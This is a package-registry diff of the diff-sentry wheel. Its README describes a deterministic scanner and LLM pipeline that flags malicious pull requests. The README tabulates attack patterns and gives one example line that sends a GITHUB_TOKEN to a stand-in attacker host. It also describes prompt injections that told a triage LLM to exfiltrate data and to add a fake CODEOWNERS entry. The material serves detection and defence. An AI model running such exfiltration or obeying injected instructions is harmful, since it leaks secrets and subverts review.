diff-sentry 0.4.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,221 @@
1
+ Metadata-Version: 2.4
2
+ Name: diff-sentry
3
+ Version: 0.4.0
4
+ Summary: Catch malicious pull requests before they merge: scan a diff for supply-chain attack patterns with deterministic evidence a model cannot suppress.
5
+ Author: Boik Su
6
+ License-Expression: MIT
7
+ License-File: LICENSE
8
+ Keywords: dspy,malicious-code-detection,prompt-injection,rlm,security,siem,supply-chain-security
9
+ Requires-Python: >=3.11
10
+ Requires-Dist: httpx>=0.27
11
+ Requires-Dist: pydantic>=2.0
12
+ Requires-Dist: rlm-harness==1.0.0
13
+ Provides-Extra: classify
14
+ Requires-Dist: openai>=1.0; extra == 'classify'
15
+ Provides-Extra: observe
16
+ Requires-Dist: langfuse>=4.6.1; extra == 'observe'
17
+ Requires-Dist: openinference-instrumentation-dspy>=0.1.36; extra == 'observe'
18
+ Provides-Extra: subscription
19
+ Requires-Dist: claude-agent-sdk>=0.1.60; extra == 'subscription'
20
+ Description-Content-Type: text/markdown
21
+
22
+ # diff-sentry
23
+
24
+ **Catch a malicious pull request before you merge it.**
25
+
26
+ diff-sentry reads a change the way an attacker hopes you won't: it treats the diff as untrusted data,
27
+ looks for the shapes that real supply-chain attacks use, and reports evidence rather than an opinion.
28
+
29
+ The fastest way to use it is as a GitHub Action. It needs no API key, no model, and no network access,
30
+ so it runs on fork pull requests under the read-only token they already get.
31
+
32
+ ```yaml
33
+ # .github/workflows/diff-sentry.yml
34
+ name: diff-sentry
35
+ on: pull_request
36
+
37
+ permissions:
38
+ contents: read
39
+
40
+ jobs:
41
+ scan:
42
+ runs-on: ubuntu-latest
43
+ steps:
44
+ - uses: actions/checkout@v4
45
+ with:
46
+ fetch-depth: 0 # the scan diffs against the PR base
47
+ - uses: qazbnm456/diff-sentry@main
48
+ ```
49
+
50
+ That is the whole setup. The job fails when an indicator at or above `high` fires. Pin to a released
51
+ tag rather than `main` once you depend on it.
52
+
53
+ ## What it catches
54
+
55
+ | Family | Examples |
56
+ |---|---|
57
+ | Workflow configuration | `pull_request_target` that checks out the PR head (the pwn-request that broke AsyncAPI), `permissions: write-all`, CODEOWNERS reassignment |
58
+ | Obfuscation | base64 that decodes to a shell payload, `_0x…` machine-mangled JavaScript, high-entropy blobs |
59
+ | Execution | pipe-to-shell installs, `${IFS}` space-evasion, detached child processes, inline `node -e`, fetch-to-disk droppers |
60
+ | Exfiltration | secrets reaching a network sink, cross-process `/proc/<pid>/mem` reads, OAST callback services, IPFS and permaweb gateways |
61
+ | Diff-presentation evasion | payloads shoved past the viewport by a long whitespace run, bidi-override and zero-width characters |
62
+ | Provenance | forged `[bot]` identities, bot-mimicking new accounts, unsigned or identity-mismatched commits |
63
+ | Prompt injection | instructions aimed at an LLM reviewer or triage workflow |
64
+
65
+ **Severities are tuned, not maximal.** A plain workflow-file edit is `medium`, below the failure
66
+ threshold, on purpose: a benign workflow PR must not break your build. A `pull_request_target` on its own
67
+ is `medium` too, because that is the ordinary label-bot shape. It becomes `critical` only when the same
68
+ workflow also checks out the PR head. Rules that would be noisy alone require two halves to fire:
69
+ `child_process` is everywhere and `detached` alone means nothing, but a process deliberately outliving
70
+ its parent is a loader.
71
+
72
+ A diff carries deleted code as well as added code, so the scan skips `-` lines by default. Removing a
73
+ payload does not flag the change that removes it.
74
+
75
+ ### Inputs
76
+
77
+ | Input | Default | Purpose |
78
+ |---|---|---|
79
+ | `fail-on` | `high` | Severity that fails the build (`info`/`low`/`medium`/`high`/`critical`). |
80
+ | `report-only-paths` | none | Newline-separated globs scanned but never gated. For files whose job is to carry attack patterns: rule bodies, security fixtures, prompt templates, docs that tabulate payloads. |
81
+ | `base-sha` | derived | Override the commit to diff against. |
82
+ | `version` | `main` | The diff-sentry ref to run. Pin it for reproducible CI. `local` installs from the current checkout, which is how this repo scans its own PRs with the rules in that PR. |
83
+
84
+ Outputs: `failed`, `hit-count`, `max-severity`, and `report` (a JSON path).
85
+
86
+ ### Do not reach for `pull_request_target`
87
+
88
+ Sooner or later you will want the scan to post its results as a PR comment, and a `pull_request` job on
89
+ a fork PR has a read-only token. The tempting fix is `pull_request_target`, which is the exact
90
+ misconfiguration that opened the AsyncAPI "Miasma" compromise, and which this action reports as
91
+ `critical`.
92
+
93
+ Do it the safe way instead: keep the scan on `pull_request` with no secrets, upload the `report` as an
94
+ artifact, and post it from a separate `workflow_run` job that runs the base branch's code and never
95
+ checks out the PR head. diff-sentry's own rules make the same distinction, so the safe shape does not
96
+ trip them.
97
+
98
+ ## Evidence a model cannot suppress
99
+
100
+ An LLM reviewer that reads a diff can be argued out of its conclusion by that same diff. diff-sentry is
101
+ built so that cannot hide anything.
102
+
103
+ The deterministic rules run host-side, before any model takes a turn, and their hits are recorded as
104
+ facts. When a verdict is assembled, the evidence is re-sourced as the union of every recorded hit, and
105
+ the alert decision is derived from that union rather than from the model's self-report. A successful
106
+ prompt injection can skew the *verdict*; it cannot remove a single piece of *evidence*. In the Action,
107
+ that is the whole product: no model runs at all.
108
+
109
+ ## Beyond CI: the full detection workflow
110
+
111
+ The Action is one entry point into a larger system. If you operate the infrastructure, or maintain a
112
+ project where a wrong call is expensive, the rest is available locally.
113
+
114
+ https://github.com/user-attachments/assets/d200aee8-263b-483e-ad55-f90ae69f3ab0
115
+
116
+ _The studio console: paste a real payload, watch the detection stream live, then read the evidence-framed
117
+ verdict._
118
+
119
+ ```
120
+ GitHub PR/issue/push → normalize (metadata head+tail) → classify (diff held in a sandboxed REPL)
121
+ → judgement-only verdict → UNION deterministic indicators on read → SIEM signal
122
+ → reward-free trajectory export
123
+ ```
124
+
125
+ **Deep classification.** The full pipeline hands the change to a reasoning model that explores it inside
126
+ a sandboxed Python REPL: decode a base64 filename, inspect the raw file list, re-scan a decoded region.
127
+ The change is a variable under analysis, never text spliced into instructions. The model submits a
128
+ judgement only. It has no field in which to write, hide, or invent evidence.
129
+
130
+ **The studio console.** A local web console that streams a run as it happens: each iteration, each tool
131
+ call, the indicators as they fire, and the assembled verdict with its evidence. Useful when you are
132
+ tuning rules or explaining a call to someone who has to act on it.
133
+
134
+ **Trajectories for training.** Every run records a full trace, and `export` turns a directory of traces
135
+ into a reward-free dataset: the planner's actions, the classifier's calls, and objective labels read
136
+ back from the assembled verdict. The intended use is fine-tuning a smaller model for the planner role
137
+ (`DS_ROOT_LM`) on your own traffic, so the deep tier gets cheaper the longer you run it. Scoring and
138
+ credit assignment deliberately live outside this repo; what ships here is the rollout source.
139
+
140
+ **A reward-free scorecard.** The [`eval/`](eval/README.md) workspace member scores a recorded run's
141
+ assembled verdict with an independent LLM judge across four categories, means only, no composite and no
142
+ threshold. It reads the trace contract one-way and never feeds training.
143
+
144
+ ```bash
145
+ uv sync --group dev
146
+ uv run pytest # offline suite: no live model, no network, no Deno
147
+
148
+ uv run diff-sentry scan changes.diff # the deterministic layer alone (what the Action runs)
149
+ uv run diff-sentry pr acme/widgets 7 # full classification (needs DS_* creds, deno, gh)
150
+ uv run diff-sentry issue acme/widgets 12
151
+ uv run diff-sentry classify event.json # a payload you already hold
152
+ uv run diff-sentry render output/traces/pr-7.jsonl pr-7 # re-derive a response, offline
153
+ uv run diff-sentry export "output/traces/*.jsonl" ds.json # reward-free dataset, offline
154
+ ```
155
+
156
+ Models are roles, set by environment: `DS_ROOT_LM` (planner), `DS_SUB_LM` (analyst), `DS_CLASSIFIER_LM`
157
+ (second-stage classifier). Point them at any OpenAI-compatible endpoint; see
158
+ [`.env.example`](.env.example). The planner and analyst can also run on a **Claude Pro/Max subscription**
159
+ by giving either role a `claude-agent-sdk/<model>` value with the `subscription` extra installed. The
160
+ classifier always needs its own endpoint.
161
+
162
+ None of this is required to use the Action, and none of it sends your code anywhere you did not
163
+ configure yourself.
164
+
165
+ ## Honest limits
166
+
167
+ **Prompt injection.** diff-sentry detects prompt injection, so it has to resist it. In the full
168
+ pipeline the untrusted change is a REPL variable rather than prompt text, a mission frame reframes any
169
+ embedded instruction as a signal rather than a command, and the normalizer denies the attacker the
170
+ preview window's edges. The residual is real: a bounded preview of the input still reaches the prompt,
171
+ so a strong injection can skew the verdict. It cannot suppress the evidence. The Action is not exposed
172
+ to this at all, because no model runs.
173
+
174
+ **Throughput.** A full model-driven episode takes seconds to minutes and costs real money per change.
175
+ diff-sentry is the deep-analysis tier, not the firehose. The Action's deterministic scan is the cheap
176
+ tier and is meant to run on everything; escalate only what it flags.
177
+
178
+ **A known gap in the deterministic layer.** A secret read that reaches a JavaScript network sink across
179
+ lines (`const t = process.env.GITHUB_TOKEN;` … `fetch('https://attacker.tld', {body: t})`) does not
180
+ fire, because the exfiltration rule needs the secret and the sink within 80 characters on one line. The
181
+ fix we evaluated (taint tracking from the assignment to the sink, suppressed for first-party hosts)
182
+ measured zero false positives on our corpus and full history, but it still cannot separate a token
183
+ being stolen from one legitimately posted to a third-party service, so it is not shipped rather than
184
+ shipped noisy. Note the `pwn-request` rule does not cover this: it fires when a privileged workflow is
185
+ *introduced*, not when a pre-existing one is *exploited*.
186
+
187
+ ## Grounded in real incidents
188
+
189
+ The detection families are not hypothetical. Two incidents are reconstructed offline and pinned by
190
+ tests, so a rule change that breaks coverage fails the build.
191
+
192
+ **`hackerbot-claw`** (Datadog's [BewAIre writeup](https://www.datadoghq.com/blog/engineering/stopping-hackerbot-claw-with-bewaire/)).
193
+ The original artifacts are gone, the attacker account was deleted, so
194
+ `tests/corpus/hackerbot_claw_incident.json` reconstructs all three events: a `${IFS}`/base64 payload
195
+ hidden in a *filename* under `documentation/rules/` that de-obfuscates to a published pipe-to-shell IOC,
196
+ a prompt injection telling a triage LLM to bulk-label and exfiltrate, and a prompt injection appending a
197
+ fake owner to CODEOWNERS. Each is asserted under a neutral benign verdict, so the alert is
198
+ evidence-driven: a false-benign self-report could not have suppressed any of them.
199
+
200
+ **AsyncAPI "Miasma"**. Reconstructing that chain stage by stage found seven of its eight stages passing
201
+ our rules silently, because the suite was shell- and YAML-shaped while the attack was Node end to end.
202
+ The rules that closed the gap ship with their negative cases, so the tuning is pinned as tightly as the
203
+ detection.
204
+
205
+ ## Development
206
+
207
+ The offline suite covers the pipeline with no live model, no network, and no Deno; the corpus pins the
208
+ rules' hit and miss behavior; the eval member has its own suite.
209
+
210
+ ```bash
211
+ uv run pytest # core
212
+ uv run --package diff-sentry-eval --extra dev python -m pytest eval/tests
213
+ uvx ruff@0.16.0 check .
214
+ ```
215
+
216
+ CI runs the published Action against this repository's own pull requests (`uses: ./`), so a change that
217
+ breaks the Action fails here before it reaches anyone's install.
218
+
219
+ Detection engine and RLM harness: [`rlm-harness`](https://github.com/qazbnm456/rlm-harness).
220
+
221
+ MIT.
@@ -0,0 +1,24 @@
1
+ diff_sentry/__init__.py,sha256=OynVJhsY-zVj2QizQCca8f5SadpbJuOXeLNDui7Kv1o,2767
2
+ diff_sentry/__main__.py,sha256=ElTA5YzegLikp0KGTpohXFbfBHCVxeffnLdZt7X_WC8,163
3
+ diff_sentry/assemble.py,sha256=SxwGIiUSk7jQaqSCibM9jk5ft7FBD845fBYL1YBIH9s,4040
4
+ diff_sentry/cli.py,sha256=26v-ReRkPIheDM5q-6hdE0_RS1LCirq4TIRrKXMIDXk,17194
5
+ diff_sentry/config.py,sha256=XRvJpMDd8v2a_50i9kGCssVDSMYlbRNW5bdcgIQvfxk,10607
6
+ diff_sentry/deep_classify.py,sha256=ZPEx5rH9sr3ZOoiob_uPPvn5ooyqgC2oDu0B6EVdQZM,7443
7
+ diff_sentry/detect.py,sha256=OjsXvnZ4I7uKeJyvdTEquFnjbkaGpTh5hW2vMlUjwnw,11728
8
+ diff_sentry/emit.py,sha256=0Wkwh7ZRE1FjhCaoFHVzFNPDFm-85TFrhHwfkQhHdqM,3754
9
+ diff_sentry/fetch_tool.py,sha256=jG6UNvfsryROprdcncCYnhI4ADkM0VA92kHw5vIMYNg,5156
10
+ diff_sentry/indicators.py,sha256=MlYpHS92hBf-Kq2BLBUxOgwbQskQsFY059c8fHl9SXY,33481
11
+ diff_sentry/ingest.py,sha256=UrXGTVIqxtMkq_ITQ7_voy40RrPcdIyPbDaJR-sYzg0,11048
12
+ diff_sentry/normalize.py,sha256=zIL1a5H1W0IiL3BYmeMC11m5b2563oWfoRO_bmCI-Uo,8663
13
+ diff_sentry/response.py,sha256=EQSNOHO78fkRON2BUgvsuMqsb3zFEajFflOkJVBDXTY,7388
14
+ diff_sentry/rl_export.py,sha256=lo7WVPdB612e3LMERFy5qRrHSbfGz5SmpnNHgv9zDaU,7629
15
+ diff_sentry/rubric.py,sha256=exHR3Jh5FH7bnD_P0HLjq6KCWRgnSnfjqIkhNUQRBeY,8715
16
+ diff_sentry/schema.py,sha256=UDBr_QVy8KrgfimaoDJ8wzRllUyROWe5QnQw_dW0Ivk,12358
17
+ diff_sentry/skills/ci-injection-patterns.md,sha256=4VGX2gUVgE0h4lv8hAHvu5XN33WcG2iCZFlow7Kg7j8,1815
18
+ diff_sentry/skills/prompt-injection-catalog.md,sha256=wy-9a5SYmuN9mk2xRjmoeB-oeAgniK0aRgus7vW8eH8,1973
19
+ diff_sentry/skills/triage-a-change.md,sha256=c261Waa3cutV9IhGDE960S2S9oqw_qvekfM91A0sQIQ,2162
20
+ diff_sentry-0.4.0.dist-info/METADATA,sha256=MHtcTJ73vDkw-RDiZJe83IJDyg3H2NFTdL3ph__s1Os,12179
21
+ diff_sentry-0.4.0.dist-info/WHEEL,sha256=lCkmxWfQsSc9CfIClYeavTdQeEX2toPqufh9gI35EQA,87
22
+ diff_sentry-0.4.0.dist-info/entry_points.txt,sha256=3xB50A0fy36ejigdlJYDfHMDNWzcIF2IXVGcC22kXsE,53
23
+ diff_sentry-0.4.0.dist-info/licenses/LICENSE,sha256=ijh2hzzovSLE-PqEtrCLyW_w7yZ1E_jb0ZEG0eW6sPg,1064
24
+ diff_sentry-0.4.0.dist-info/RECORD,,
@@ -0,0 +1,4 @@
1
+ Wheel-Version: 1.0
2
+ Generator: hatchling 1.31.0
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ diff-sentry = diff_sentry.cli:main
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Boik Su
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.